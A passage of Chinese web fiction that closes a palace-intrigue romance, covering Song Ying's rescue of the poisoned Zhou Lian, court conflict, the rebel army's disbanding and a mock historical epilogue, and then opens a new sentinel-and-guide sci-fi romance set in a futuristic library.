鼓声不再有间歇,密集敲打着。 与此同时,第二波箭雨紧随而至,封住了怀玉泽的直线追击路线。 箭雨如瀑,眼看大势已去—— “撤!” 随着怀玉泽一声令下,其余人带着名被扼住脖颈的弟子,一齐消失在夜色之中。 片刻后,卫兵来报: “启禀殿下,先前那名坠落在城外的叛贼,已被人趁乱救走。” “知道了。” 是意料之中的事。 难怪之前无论是隐卫还是禁卫,都无法抓到剑云宗的人,原来他们还有这等高手。 一想起那个白衣人,宋迎至今心有余悸。 危机已经解除,她稍稍松了一口气。 随即又想起刚才周梿撤退时,身形在半空中微不可察的一顿。 感觉情况不大对的样子。 他受伤了? 突然间,宋迎的气又喘不匀了。 “回宫!” 卫兵们不敢迟疑,簇拥着宋迎,将其护送回宫。 回了宫城,她连夜行衣都顾不上换,便急着朝万春殿方向赶去。 万春殿内,烛火寂寂。 夜风穿堂而过,拂起重重叠叠的纱幔。 宋迎一眼便看见了周梿。 他没有在榻上,而是背靠着廊柱,半阖着眼,坐在地上。 纱幔如水波般在他身前荡漾,将他的身影切割得朦胧而遥远,淡的仿佛…… 仿佛下一阵风起,便会消失的无影无踪。 宋迎的心猛地一沉,几乎是踉跄着扑了过去。 “阿梿?” 她跪在他身侧,声音里带着连她自己都未察觉的颤抖。 没有回应,他面色苍白如纸,几近透明。 若不是胸口尚有微弱起伏,几乎与死人无异。 宋迎不敢再想,抖着手去探他脉搏。 指尖刚触及腕口,那股阴冷寒气顺着经络,刺入她心脏。 视线下垂—— 她很喜欢牵他的手。 那只手,骨节分明,掌心温热。 淡青筋脉会从薄薄的皮肤下绷起,摸上去很舒服。 而此刻,整只手背却浮现出一种诡异的青紫色,几道黑气顺着指缝间蜿蜒而上,攀附着整条小臂,狰狞可怖。 ……是方才扼住那人脖子的时候? 宋迎喃喃想着。 剑!云!宗! 他们是算准了他会亲手制敌,算准了他的习惯! 国事之争,本该堂堂正正,他们竟敢用这种肮脏手段! 难道……事变就是这几日的事了? 宋迎眼眶一热,又气又急,攥着拳头都不敢打他。 “叫你有霸总癖好!” “叫你老掐人脖子!” “这下好了!被人预判了吧!” 骂到最后,声音已经被撕成哭腔。 泪,到底还是砸了下来。 直到舌尖尝到一丝腥甜,她才惊觉自己已经将下唇咬破了。 不能乱。 现在只有她能统领全局! 宋迎紧了紧垂在身侧的手,将心中慌乱压下。 继而转身推开殿门,她立在门前,声线沙哑而透着股森然寒意: “传令!即刻起,封锁宫门,无本王手令,任何人不得随意出入!” 她顿了顿,目光扫过阶下众人, “传太医!把太医院所有当值的、不当值的、告假的、快死的,全都给本王提过来!” “一炷香之内,本王要见到张院正!” 她厉声喝道: “——点香!” 要是不说点香,谁又能掐指算出一炷香到底是多长时间。 若是将这香点上—— 香尽,人未到,脑袋指定落得比香灰快! 内侍们来不及思索,拔了腿就往太医院跑。 一炷香才烧了半指长,张院正被两个小太监架着,几乎是双腿离地飞进殿内。 官帽歪了歪,见着宋迎,离地的双腿下意识弯曲,就要行礼: “殿、殿下……” “少废话!” 宋迎一把将他从太监手里拽过来,拖到周梿身边。 “救他!用上毕生所学,搬空国库都在所不惜,把他给本王救回来!” 张院正只瞥了一眼那青紫手背,脸上顿时血色全无。 他颤巍巍地抖开包布,取出银针—— 屏息凝神片刻,对着周梿指腹上轻轻一刺! 一滴血珠,裹着黏稠缓缓沁出皮肤, ……是黑色的! “殿下……这毒……” 张院正扑通跪地,牙齿打着颤,“老臣从未见过,恐……” “——没有恐怕!” 宋迎声音一沉,猛地打断他。 她垂眸,觑了觑跪在地上,抖如糠筛的张院正。 声音沉得像是从牙缝里挤出来似的,“本王不与你谈太医院上下陪葬的废话。” 她倏然倾下上身,目光从歪斜的官帽,缓缓落至他惊惧的脸上。 “本王知道你与李太医素来不睦。” 吐信般的低语,犹如毒蛇过颈! 张院正的冷汗瞬间就下来了。 “本王可以向你保证,”宋迎语气幽幽,“若陛下有半分差池,明日一早,李太医便会连升三级,风风光光地接管太医院!” “而你,张如祥,”她顿了顿,眉梢微挑,带出几分玩味笑意。 “……就眼睁睁看着你的死对头青云直上——” “至于你,和你的一大家子去吃糠咽菜吧!” 诛心之言,这简直比杀了他还要难受! 血气冲上眼眶,张院正恶狠狠地,咬着牙说道: “殿下放心!臣便是拼了这条老命,也定要保住陛下心脉!” 他像是换了个人似的,手下动作快得几乎带起残影。 吼着让小太监去抓方煎药,手也不抖了,数十根银针飞上周梿大穴。 ——试图以封脉之法,延缓毒素蔓延。 强撑出来的那股狠厉劲瞬间被抽干, 宋迎只觉一阵脱力,五指颤的连拳头都收不住了。 但她不敢停下,只能在殿内来回踱步,以此来消减内心惶恐。 周梿、朝堂、京州…… 无穷无尽,犹如巨网将她束缚,越是挣扎,越是纠缠不休。 ——她几近要喘不上气。 倏然间,宋迎想起了什么。 猛地从怀里掏出黎婧容的义军令牌—— 也不知道黎婧容给嫂嫂到底是什么意思, 是托付,还是…… 可偏偏就在此刻,心神俱乱之下,指尖一滑—— 义军令牌竟然脱手飞出! “哐当!” 宋迎倒抽一口凉气,扑着过去将它拾起。 别给她摔坏了,估计后面还有用呢! 当她将令牌捧至掌心,正要细细察看,却发觉那令牌竟然从中间裂开了条缝! ……内有乾坤?! 惊愕之下,宋迎指甲嵌入那道缝隙,沿着裂缝,朝两侧一用力—— 令牌应声而裂,从中掉出一缕丝绢。 她弯腰拾起,上面是数行密密麻麻的隽秀小字。 黎婧容写的? “宋迎,不,还是喊你茵茵好了。” “若你得见此信,而我又——” “罢了,若你得见此信,足以可见天意难违。” 没有涂改的痕迹,但话序颠倒,可见黎婧容写信时的挣扎。 “以下,是我凭记忆录下的‘奇蛊’之事——” 「他身中奇蛊‘无相’,可噬天下万毒,百邪不侵。然此蛊亦是跗骨之蛆,五感痛觉较常人剧烈百倍,发作之时,神魂俱裂,生不如死。」 「若要解蛊,唯有诞下子嗣,以至亲为鼎,方可转移。」 这些她都知道。 从每每周梿的笃定中,宋迎就已经猜到他自服了绝嗣药。 她自以为,这已经是全部的真相了。 「万物相生相克。无相能噬万毒,却独畏世间至纯至净之物——能解百毒的‘菩提’药蛊。」 「此乃圣药,并非蛊毒。能令‘无相’陷入沉睡。届时,他体内积压的万千毒煞将顷刻反噬,神佛难救!」 目光涣散了一瞬,宋迎几欲支撑不住。 失焦的视线努力凝在最后一行字上。 「解法……唯有……阴阳交合,再度唤醒无相。」 …… ……?????? 宋迎反反复复看了三遍,她都觉得自己看岔字了。 什么东西? 阴阳交合?! ……都什么时候了,命悬一线火烧眉毛了! 还要搞这种事!? 宋迎正思忖着,觉得眼前又是一黑。 捏着丝绢不自觉将其外扯绷紧。 突然,有什么东西从丝绢夹层里飘落在地。 泛黄纸条看着眼熟, 边缘还起了毛,看着像是写了大半年的。 那是…… 那是当初她写给家里的纸条! ——“定归,勿念。” 四个字赫然躺在地上。 …… 长夜终会过去, 天光驱离幽暗,种种荒唐化为光影里的浮尘,清晰得让宋迎刺眼。 宋迎赤足踩在暖砖上,拢过衣衫,遮住锁骨下点点暧昧。 她微微俯身,指腹拂过周梿手背。 狰狞青黑虽然尽数褪去,但依旧毫无血色。 光斑洒下,冷白的几近透明。 昨夜的他……太过粗暴了。 粗暴的根本不像他—— 宋迎不知为何,下意识地想去探他鼻息。 ……呼吸还是微弱了。 思及昨夜,别不是装的吧。 宋迎冷不丁抬手,扇了他一巴掌,力道很轻,下颌只偏过去半分。 床榻上的人毫无动静。 宋迎叹了口气,眸光黯了黯,脑中思绪万千。 就在这时,一阵急促脚步声停在殿前。 “殿下,百官已在金銮殿等候多时……” 宋迎背脊倏然一僵。 她不能耗在这里,还有…… 很多事等着她去处理。 她深吸一口气,轻声说道: “等我。” …… 金乌初升,光耀大殿。 昨夜城门大乱,战鼓惊天。 百官分列两侧,垂首而立,鸦雀无声。 宋迎身着绀黄朝服,头戴玉冠,立于白玉栏前。 她冷然道: “讲。” 傅侍郎立刻出列,他是文臣表率,向来都是主和不主战的。 他声泪俱下: “殿下!昨夜之事,疑点重重,或为敌方奸计,诱使我朝出兵!当以查明真相为上,万不可因一时之忿,置江山万民于水火!” “臣恳请殿下,以和为贵,遣使一探究竟,方为上策!” 一番说辞滴水不漏。 引得不少文臣纷纷附和。 上首,宋迎凤眸微垂,无人窥见她眼底情绪。 声浪愈演愈烈—— 就在此时,始终闭目、仿佛置身事外的高伯深,骤然睁开了眼。 那双眼眸,锐利如鹰隼。 他什么也没说,缓步走至傅侍郎面前。 傅侍郎不明所以,还以为高大人是要为自己站台。 但是附和也不必走到跟前,刚想躬身作揖—— 突然,霜白寒光一闪! “啊!” 惊呼还未出口便被堵在喉咙里。 傅侍郎没感觉到疼,只觉得一股暖流从胸口炸开。 茫然低头,看见剑刃刺入胸膛,鲜血正不断往外涌出,才不可置信地抬起头看向面前的高伯深。 “大、大 人你……” 他伸手想抓住什么。 高伯深霎时拔剑,傅侍郎便随着那柄长剑一齐倒了下去,两只眼睛到死了都圆瞪着,仿佛在问高伯深为何如此对他。 满殿死寂。 众臣被吓得大气不敢喘一声。 高伯深就这么提着滴血的长剑,环视众人。 “老夫,历经三朝,” “二十二岁中举,二十五岁钦点探花。入翰林、修国史。” 他开始踱步,从队首走向队末。 靴底沾染上血迹,在金銮大殿上,一步一个血印。 “三十五岁入阁,五十二岁官拜首辅。” 他停在队列最末,霍然转身,目光再次扫过全场。 那道血痕,也跟着他一路蜿蜒。 而后,剑尖顿住,血珠坠下,晕开一小滩血泊。 “今日一试,”他抬眼,扯出冷笑,“倒也不难嘛!” “无非是——白刀子进,红刀子出罢了!” 他剑锋一振,顷刻间,血珠四溅! “此时言和者,与叛国何异?!谁,还敢主和!” 雷霆之问下,百官噤若寒蝉。 许久不出声的宋迎蓦然开口: “本王主和。” 声音没有起伏波澜,平静得异常,像是在定夺一件微不足道的事情。 高伯深那双赤红的眼睛,死死盯着上首。 握着剑柄的手,青筋暴起,微微颤抖。 宋迎迎着高伯深愤怒的目光,走下玉阶。 行至高伯深剑锋前, 她垂眸,瞥了眼锋利刀刃,随即抬眼,双眸没有半分惧色。 “本王,主和。” 最终, 她还是做出了自己的选择。 …… “你解散了义军?” 藤鞭狠狠抽出一记脆响。 血痕迅速从皮肉中沁出,染红了衣衫。 黎婧容却连声闷哼都无,跪在地上,背脊挺得笔直。 怀律前鞭法极为精妙,每一鞭都不会伤及筋骨要害。 “你实在是太让师叔失望了!” 怀律前声色俱厉,声音克制着愤怒,眼中满是恨铁不成钢地失望,“你可知山下万千人,皆因你‘燕氏后人’之名才揭竿而起?” “妇人之仁!” 第二鞭交错落下。 黎婧容身躯微不可察地颤了颤,随即稳住,将脊骨挺得更直。 她抿紧唇线,喉间尝到一丝腥甜,却愣是不吭一声。 怀律前见黎婧容这般桀骜,几乎想不起来,曾经软糯的小姑娘,是何时变成了如今这副模样。 定是他纵容她太多,容许她三番五次逃下山,才让她忘记自己的身份和使命! 思及此,怀律前眼神更冷。 “你的使命,是复兴燕国大业。” 听见这句话,黎婧容脸上表情终于有一丝变化。 “师叔,”她抬起眼,讥诮道,“山下的那些人,到底是真的想复兴燕国,还是……” 黎婧容扯出冷笑,“追寻……所谓的燕国血脉?!” “放肆!” 怀律前大怒,厉声喝断,手中藤鞭再次高高扬起! “燕氏血脉,至精至纯!” “是吗?”黎婧容不避不闪,任凭鞭影当头罩下,“既然师叔信了,那为何当年,您只救了我,对一息尚存的弟弟妹妹,视而不见呢?” 鞭影在她额前骤然停住,怀律前手腕一僵,瞳孔剧震。 她不是—— “我全想起来了——明明当初可以有三个孩子活下来的——” 眼底水光凝成珠,从颊面簌簌滚落,“师叔若是真想复兴燕国,不应该选我弟弟为君吗?” 为什么呢? 为什么要去救离你最远的我呢? 怀律前张了张嘴,那个藏在他心头半辈子的、不敢宣之于口的秘密—— 第一次被人撕开。 为什么?自然是—— 突然,黎婧容身子猛地一弓,喷出一大股鲜血。 她怔怔看着怀律前,眼神空洞。 “你明知蛊术‘传男不传女’……为何……偏要选我……” 鲜血溅上怀律前错愕的眉眼。 失神瞳孔骤然紧缩,他扔下长鞭,扑到黎婧容身边。 “……自毁心脉?” 怀律前失控大吼,仿佛只有将声音拔高,才能掩饰自己心中慌乱,“你在做什么!?容儿!你疯了!自毁心脉,便是再无回头路了!” 黎婧容猛地将怀律前推开。 她唇边殷红,嘶吼着:“师叔——!” 嘶吼悲鸣与记忆深处的那场大火,一点点重合。 视野被火光染红,涣散瞳孔里,映出的是与之,一模一样的脸。 她喃喃着,朝他伸出手, “师兄……” 黎婧容嘶声呐喊,“师叔,可以回头的,没有到最后一步——就算到最后一步又能怎样!为什么不能回头!” 她的声音,与一道稚嫩的哭腔重叠在一起。 记忆中的人攥着他的衣角,哭得声嘶力竭,“师兄我们回头吧,新君对我好凶,我们逃走吧,不要再管师门了,师兄我们走吧……” “求你……” 记忆中的少年扯下她攥紧的衣角, “师妹!我们已经踏上了路途,上了燕国使者的马车,见过了君主,我们不能回头了……” …… 门外,怀玉泽一路疾驰,耗尽内力,才匆匆赶回。 ——他显然是听闻了消息的。 可是,当他奔至门口,听见里面隐约传来黎婧容的痛呼,便再也忍不住,呕出一大口鲜血—— 他眼前一黑,连门槛都没能跨过,便直挺挺向后倒去。 怀玉珩跟在身后,眼看师兄倒下,正欲瞬身相扶,却被一道气劲生生定在了原地。 他错愕抬头,只见一道素白身影,已悄然立于门前。 来人未动,怀玉泽倾倒身体却被虚虚托住,悬于半空。 怀玉珩看清来人面容的刹那,立刻俯身跪地,额头抵地。 “弟子怀玉珩,恭迎宗主出关!” 那人看上去不过而立之年,却是满头霜白银丝。 他伸出两根手指,轻轻搭在怀玉泽的腕脉上。 “真是用情至深,” 他轻叹一声,唇角勾起淡淡笑意,“竟然为她种下了‘同心蛊’。” 怀玉珩大骇,同心蛊…… 传说中,种下同心蛊之人,会为被种之人挡下一命。 ——是以命换命的禁书! 心神剧震间,门被人从内猛然撞开。 怀律前抱着浑身是血的黎婧容人冲了出来,咆哮道:“师兄你救救容儿!” “她是你门下弟子,你看着她长大的啊!” 一见到宗主,他噗通跪地, “我求求你,救救她——毕竟她是晴儿唯一的血脉啊!” 她是——长得最像晴儿的孩子啊! 宗主岿然不动,只是右侧袍袖间闪烁金光,流泻而出,没入怀玉泽心口。 几乎同时,黎婧容心口浮现一缕温润,渐渐侵入其心脉。 直至金光彻底被二人吞噬,宗主才淡然开口: “倒要多亏玉泽学艺不精,这同心蛊的火候差了些,” “——只抵了她半条命。” 说罢,五指缓缓收力, 怀玉泽从半空之中,应声落地,躺在黎婧容身侧。 “二人性命无虞,” 宗主声线清冷,视线掠过二人,落在怀律前身上。 “自今日起,二人同心同命。” “——一人生,则共生;一人亡,则同死。” 说罢,宗主身形一晃,瞬移至怀律前身前。 怀律前立马跪地叩拜,“多谢师兄救命大恩!师弟——师弟自请闭门思过。” 宗主眼底浮现一缕讥诮,“师弟何错之有?所求之事,无非困住你了半生的心魔罢了。” 怀律前伏在地上,老泪纵横, “那——” 宗主似乎知道他要说什么。 ——剑云宗闭关之地,乃在剑冢。而自己这位师弟想去的地方,无非是那人的墓前。 “思过而已,不必拘泥在哪。” 怀律前一听,便知他应允了。 继而深深叩首,感激涕零道:“……多谢师兄成全。” 至此,宗主不再看他,目光缓缓移至另一跪地的人,怀玉珩。 “玉珩。” 怀玉珩心头一凛,头垂的更低了,“弟子在。” “怀玉泽,屡犯门规,私闯剑阁,又自损心脉以动摇宗门基业,罪无可赦。” 怀玉珩的心随着这番话,越沉越深。一时间,不知宗主到底何意。 然而,宗主话锋一转—— “这少 宗主的位置,便有你来接任。你师父的堂主一职,也由你一并兼代。” 怀玉珩资历尚浅,哪里能够服众。 即刻叩首推拒:“弟子年十九,德行修为皆逊于师兄,恐难当此重任……” 宗门目光似乎能洞穿他一切心思,一言既定: “你修得是无情剑道。断情绝欲,自然当得。” 他视线重新落回地上气息奄奄的两人, 半晌,又道: “待他们二人伤愈……” “……便废去修为,逐出宗门。” 三月春深,山下桃林盛开,腾起山雾绯霞。 春莺飞过,流云无痕,一如即将远行之人。 “到这,便不必再送了。” 怀玉泽和黎婧容两人皆是头戴蓑笠,换下弟子衣衫,是一身旧布衫,俨然是落魄的浪迹剑客。 怀玉珩步履未停,眉眼沉郁一如既往。 他一言不发,只一路相送。 怀玉泽见拗不过他,不由无奈失笑: “你可宽心,易容术、暗器、锻造……旁门左道我涉猎不少。” 他拍了拍怀玉珩的肩膀, “此去江湖,饿不死的。” “大师兄,”怀玉珩终于开口,面无表情的脸上终于浮现一丝裂痕。 “宗主此番出山的时机,你不觉得太巧了吗?” 怀玉泽一怔,本欲蒙混过去,目光下意识游移了一瞬。 却见怀玉珩神情严肃,便知此事糊弄不过去了。 他斟酌着,“师父他老人家向来主张,专心练剑,早日飞升,从不沾染江湖分毫。” “此番,怕是意在……肃清宗门吧。” 怀玉珩见他们师兄弟意见相合,正欲再言,却被怀玉泽抬手止住。 “我已被逐出师门,从此抛却‘怀’姓,”他望着山下那片炊烟袅袅,云淡风轻道,“往后,便喊我玉泽吧。” 怀玉珩喉结微动,沉默半晌,仍执拗道: “——大师兄。” 闻言,怀玉泽幽幽叹了口气,浅笑摇头,算是随他了。 “再送,便要下山了,”怀玉泽站定于界碑处,“你这个少宗主,总不能带头破坏门规吧。” 怀玉珩眼珠微微一转,落定在怀玉泽身侧,一直默不作声的黎婧容身上。 他从怀里掏出一封信,递了过去。 帷帽下,黎婧容神情一愣,有些意外。 她伸手接下信封,拆开一看。 信纸上是几行歪七扭八的字, 是义军里头,一个十五岁孩子写的。 黎婧容只淡淡扫了两眼,便将信纸重新折好,递还给了怀玉珩。 轻纱之下,传来一句远如薄雾的声音:“多谢,但我已经不需要了。” 怀玉珩不禁疑惑。 义军里,有个少年喜欢读书,不喜欢打仗,是被自己父亲拽来的。 解散那日,少年红着脸托他转交这封信。 说,看见那位姐姐心情不佳,但是他很是感激,因为他又可以回家读书了。 那时,黎师姐立于一片骂声和怨怼之间。 他以为,这封信至少能让她知道,她的决断并非全然无人感激。 可她却说不需要了? 心头虽泛不解,但他不是那种会追问地人。 毕竟,事件种种与他无关。 怀玉珩最后望了一眼,缩成黑点、并肩远去的两道身影。 旋即转身而去,瞬息间便不见了踪影。 山风吹过,掀起帷帽一角。 黎婧容看着头顶翻涌云海,在心底说道: 是的,她已经不需要任何人的肯定了, 她会朝着自己的路,一直走下去。 身侧,怀玉泽的手掌覆上她的肩膀,俯身问道: “容儿,想好去哪了吗?” “南疆。” …… 朱砂印泥触感粘腻。 但这一次,是宋迎自己握住了那方玉玺。 掌心冒汗。 “我、我自己……真的可以吗?” 她深吸一口气,喃喃自语道。 话音未落,一双温热手臂,从身后环住了她。 是周梿。 他醒了。 那日,她从朝堂上孤身奋战归来,推开万春殿大门,便对上他含笑的眼。 宋迎思绪飘至五日前, 她将一切和盘托出时,周梿却并未如预料那般,震怒发作。 凭着对她的信任,提醒道: 止战盟约需双方首肯,万事仍需做最坏的打算。 宋迎理解他的顾虑。 但昨日,突然传来义军解散的消息。 又听闻剑云宗宗主闭关出山,肃清宗门。 宋迎才稍稍放下心。 “怕了?” 鼻息喷洒在她耳廓,将她的思绪拽回。 宋迎有些痒,忍不住耸了下肩,顺势用肩头轻轻撞了他一下。 周梿下颌抵在她肩窝,坚实胸膛贴在她后背,抚平了宋迎僵直的脊背。 她摇了摇头,眼睫轻颤。 “不怕了。”宋迎的声音很轻,“只是有点……忐忑。” 她顿了顿,唇角弯起,又道:“但是,忐忑很好。” “我忐忑,是因为终于可以去做,那些想了很久的事。但是又怕……” “……自己做得不好。” 她已经不害怕了, 宋迎非常清楚,前路会有什么等着她。 或许有人支持;亦或许万人反对。 ——起码,在这个封建礼制下,还要走很长很长的路。 她抬眼,看着圣旨上的四个字—— 四海升平。 “可若是不做……” 不。 她一定要去做。 心底重复念着,像是给自己心理暗示。 “忐忑,很好。” 周梿收紧了手臂,将她更深地揽入怀中。 “为君,为臣,为民,本就是三个立场。” 他温言道,“千百年来,往往是民无权则言轻,朝堂之上,多是君与臣、新与旧贵族的拉锯。” “百姓的声音,太难被听见了。” 他埋下头,唇瓣贴近她的颈窝,气息温热。 “阿迎,从今往后,来做这中间的秤吧。” “不必求一蹴而就,不必想毕其功于一役。如果你觉得这担子太重,那不如,就用你的一生,去践行一个变法,一项良政。” “怕只做好一件,也足以光耀千古。” 他握住她执着玉玺的手, “我会陪着你,” “一步一步,走下去。” 宋迎眼眶一热,视野瞬间模糊,亦如破土决心。 泪珠随着玉玺,一齐落下—— 交握双手一同用力,将那方玉玺,重重地盖了下去。 朱印落下,再无更改。 天元盛世,自此开篇。 …… “孤问你,”宋迎坐在龙椅上,一手支着额角, 怨怼地望着底下抖如糠筛的礼官,声音透着不耐,“孤若是死了,孤是什么?” 他们根本不敢答话啊! 只能边磕头,边把方才的话,复又说一遍: “启禀圣上!朝服形制,乃列祖列宗所定,万万不可擅自更改啊!此举有违祖制,恐惹天下人非议!” 宋迎:………… 来来回回都这么一套话。 已经循环三遍了。 她耳朵都要起茧子了,正打算开启第四轮车轱辘话。 只听周梿的声音由远及近传来,解围道: “是祖宗。” 他信步而来,目光径直落在那张不耐烦的小脸上。 两个礼官还想指望陛下过来,总能劝一劝圣上。 周梿走到御前,又补了一句。 “既然,圣上迟早也是要当老祖宗的。” “那她定下的,自然也算‘祖制’。” 两个礼官:…… 完了,陛下比圣上还能胡闹! 他们两抖得更厉害了。 周梿挥了挥手:“此事不必再议,退下吧。” 他们面面相觑了一会,还是依言退下了。 殿门一关,宋迎立马从龙椅上跳了下来。 “本来就是!” 她气鼓鼓地抱住双臂,“那玉冠重的要死,我现在跟你一样是皇帝了,凭什么要我戴九珠冕冠——” 我的工服,我做主! “是得改,”周梿漾开笑意,借机将她揽入怀中,“只是……这衣裳尺寸怕是要重新量过才好。” 宋迎还在气头上,没品出话中深意,大手一挥, “不必那么麻烦!就照着我身上这尺寸做呗!” “是,若是圣上能将这身龙袍褪下,交予尚衣司……” 周梿顺势低头,衔住耳垂,缓缓应道,“那尺寸,方为最准。” …… 两名礼官出了万春殿,一把鼻涕一把泪的奔回了礼部。 寻着尚书哭诉 ,说完了自己的遭遇。 本以为会得到安慰,结果被尚书一顿臭骂: “一个陛下,一个圣上!” “该听谁的,自个儿琢磨去吧!” 继而甩了甩脑袋,背过手,“蠢货,难怪都升不上去。” …… 隔天,朝服图纸便被呈了上来。 显然,尚衣司的画师没有领会到精神…… 深粉色配大绿……大面积的铺双色,又土又俗,还辣眼睛。 宋迎看着直皱眉。 正琢磨怎么提意见,图纸便被人抽了去。 周梿只瞥了一眼,便嫌弃地随手撕了。 他踱步至书案前,指尖叩了两下。随即扬眉一挑,眼底是藏不住的得意,“尚衣司的不成,不如……看看我的?” 宋迎心下好奇,跟着走过去,这才瞧见周梿设计了一款截然不同的。 不是正色,而是饱和度较低的藕荷粉色,不甜不腻,恰入心扉。 下摆与袖缘,皆是月白渐变。 浪花滚滚,缀着几颗细小珍珠,恍若溅起的水花。 肩背及前胸,则是一轮旭日徐徐升起。 旁边还细细标注:以赤金线勾勒,再以橙红丝线铺陈,绣出霞光。 而且,图式上没有凤凰。 是腾海逐浪的金龙。 ——是她想要的,四海升平。 宋迎惊诧不已,喜欢的都挪不开眼。 她拿着图纸,爱不释手,“这也……太好看了!” 指尖一触,感觉图下还有一张。 宋迎没多想,好奇地伸手去抽。 周梿眼疾手快来按,却还是慢了一步。 宋迎已然将底下那张图纸抽了出来。 上面画着另一件朝服,玄青为底,竹为暗纹,款式凛然,风骨天成。 ……情侣装? 宋迎抬起眼,眸中闪着狡黠。 她还没说话,男人脸上紧绷一瞬,随即耳廓泛起一层薄红。 周梿抿了抿唇,转身便走。 步子迈得又快又急,颇有几分落荒而逃的意味。 宋迎举着两张图纸,追着在他身后喊: “欸!跑什么,这是不是你的绿色啊!” “阿梿你别跑啊——” 【史料记】 《天元圣本纪》 永昭四年,帝圣并称,同御天下。 帝以宗室之望,百官之请,改年号为“天元”,示天下以新始。 天元三十七年,圣传位于皇太女曦。 天元五十年冬,圣驾崩于万春殿,寿八十。 帝哀恸欲绝,于灵前,自戕而亡。 帝一生未立六宫,中宫虚悬,唯圣一人,朝夕相伴,入则同榻,出则同辇,五十载未尝相离,世人称奇。 天元年间,帝圣同心同德,革旧鼎新。 史曰: “天元之治,四海升平,为千古未有之盛世。” 后世称“天元盛世”。 同年,天曦帝登基,改年号为“天曦”,朝服更制为朱红雁袍。 天曦帝承其母志,推行恩科。 天曦十年,新科进士榜,赫然书有一名—— 许绮山。 此女连中三元,官拜翰林。 后入内阁,凭经天纬地之才,一路擢升。 至天曦四十二年,拜为当朝首辅,为开国以来,第一位女相。 【完结】 第59章 哨向①被人盯上了怎么办!…… 宋迎就趴在图书馆最高层书柜顶上。 她双手托着腮,两条小腿晃悠着。 似乎是看到了令人心潮澎湃的地方。 晃荡的频率一滞,耳根霎时漫上薄红。 宋迎直接将头埋进书,一个翻身,干脆将书盖在脸上。 她四仰八叉地仰面躺尸,试图抽离剧情,平复狂跳的心脏。 啊—— 带薪摸鱼的时光真美好—— 带薪摸鱼看小说的时光真美好啊! 忽然,腕间皮肤传来微麻灼热感,强制性的电子信息随之弹出: ——“警报:E级哨兵精神阈值濒临崩溃,请求F级向导[宋迎]立刻前往疏导室进行支援。” 腕带边框红灯疯狂闪烁着,宋迎幽幽叹了口气。 得,来活了。 这就不得不提,宋迎一个F级向导,入职两年,为什么能摸鱼不被发现的原因了—— 全靠这个警报侵入感应。 只要有人踏进她的疏导室,她就能在瞬息间收到提醒。 然后用最快的速度冲刺到工位,再摆出一副“哎呀真不好意思我刚才拉肚子去了”的真诚表情。 当然了, 这招屡试不爽,也得益于她的级别实在是太低。 工作实在清闲—— 平均一天分配0.25个哨兵。 再者—— 她的精神体是,一注蒲公英。 一吹就散,治疗效果约等于无。 唯一的有点就是跑得比较快。 收到警报三秒,宋迎便合上书页,单手执书,从书顶纵身跃下。 白色作战服瞬间膨成一朵小球,像是圆滚滚的蒲公英绒球。 足尖触地,作战服迅速回缩,重新贴合住她的身形。 宋迎拍了拍衣摆,打算先去把书还了。 这是一个科技高速发展的世界。 譬如,纸质书籍的自主归还处,是一道柔和的横版光屏。 将书放在光屏上,淡蓝色数据便会从悬浮着的书上淌过。 等书消失不见,就等于已经放进了浩瀚书海。 人也就可以离开了。 就像现在,宋迎做得这样—— 高效,且绝对保护隐私。 宋迎松手的瞬间,一直戴着黑色皮质手套的手,将那本书从光屏上抽走了。 宋迎动作一僵。 等等! 什么情况!? 她震惊地眨了眨眼睛,一下子没反应过来。 抬眼便撞进结实的黑色胸膛,男人高的离谱,她目测了一下,192.18cm。 笔挺的黑色作战服被他贲张的胸肌蹦得死紧。最过分的是,那两根看上去纯装饰的背带,硬生生地勒出深陷,无声炫耀着。 报制服尺寸的事后,绝对是故意选小了一码。 心机男! 刚刚怦然而起的心动,瞬间被装X味儿冲淡了。 视线不小心上移,掠过他的脸。 下一瞬,宋迎不由地移开了视线。 好奇怪的一张脸。 下颌到鼻梁,覆着一层幽冷的黑色鳞片,泛着金属光泽。 精神体是鳄鱼吗? 感觉质感很像鳄鱼皮…… 他似乎察觉到了她的注视,微微抬眼。 那双被黑色鳞片衬托的眼睛,朝宋迎望了过来。 瞳色是极浅的金色,深邃里翻涌着炙热的野性。 视线相触刹那,宋迎心跳漏了一拍,不敢再看他。 这眼神……不太对劲。 不是第一次见面的审视和陌生眼神,感觉是掠食者锁定猎物的眼神。 ——熟悉,他很明确他们两人之间的上下食物链。 ——不加掩饰的攻击性,他某项需求没有得到满足,现在他打算满足这种渴望。 不可能啊,她在这里摸鱼也有一年多了。 从来没有听说图书馆招了哨兵当管理员。 这里是白塔,塔内所有普通工种,都由无精神觉醒能力的普通人担任。 宋迎垂着的视线,突然瞥见一抹异色。 地上垂着一小截尾巴,它从阴影里探出,呈凌锥形向尾尖收束,尾尖锋利如刃,闪着寒光。 或许是感知到宋迎目光,尾尖轻轻一甩,逃到了阴影的另一侧。 一个能把精神体外化到这种程度,并且还没失控的哨兵…… 让他来当图书管理员? 开什么星际玩笑。 哨兵的强大,与外趋化程度成反比。 等级越高,越能完美收敛所有非人特征。 而向导则恰恰相反—— 等级越高,反而越会出现外趋化。 比如她的胞姐,S级向导,精神体是粉红色海豚。 额间有着独角兽一般的美丽鳍角,连带着头发都是梦幻的樱粉色。 美丽且稀缺。 宋迎下意识瞥向一旁的玻璃墙—— 玻璃上,映出自己左鬓那撮怎么看都像挑染失败的白毛。 男人再次抬起双眼,似乎在疑 惑她为什么还不走。 宋迎这才发现他已经上传了自己的小说。 ……好尴尬。 感觉自己像是一个偷窥帅哥被当场抓获的变态,她急忙低头,疾行速度堪比逃荒。 完蛋! 他要是看见自己借的是什么小说,简直就是大型社死现场!! 宋迎刷了权限卡,电梯飞速攀升。 四下无人的密闭空间,方才的窘迫才逐渐褪去。 还是很奇怪。 一个能将精神体外化到那种程度,应该属于A级哨兵了吧? 为什么会出现在全自动化的图书馆? 这一切,已经超出宋迎的认知范畴了。 电梯门滑开,冷白色灯带自电梯口一路延伸。 宋迎刚迈出几步,倏然又顿住了。 走廊尽头的阴影里,立着一道身影。 他高大的身影几乎将光线全部吞噬,那双浅金瞳孔,闪烁着妖异光芒,精准无误地落定在她身上。 而他的身后,正是她办公室的门派—— 【F级心理疏导室】 他的眼神太过炙热,太过专注。 仿佛他就是在找到她! 宋迎心底瞬间涌起一股荒谬的熟悉感。 她强迫自己移开视线,转身朝相反的方向奔去。 他是那个D级哨兵? 不对,刚才的压迫感,可能都不止A级! 这可不是她一个F级能应付来的。 意识里,无数细小的蒲公英种子飘散着,勉强抵御着那股侵略性极强的精神力。 找姐姐! 她是S级向导,肯定可以应付这个情况的! 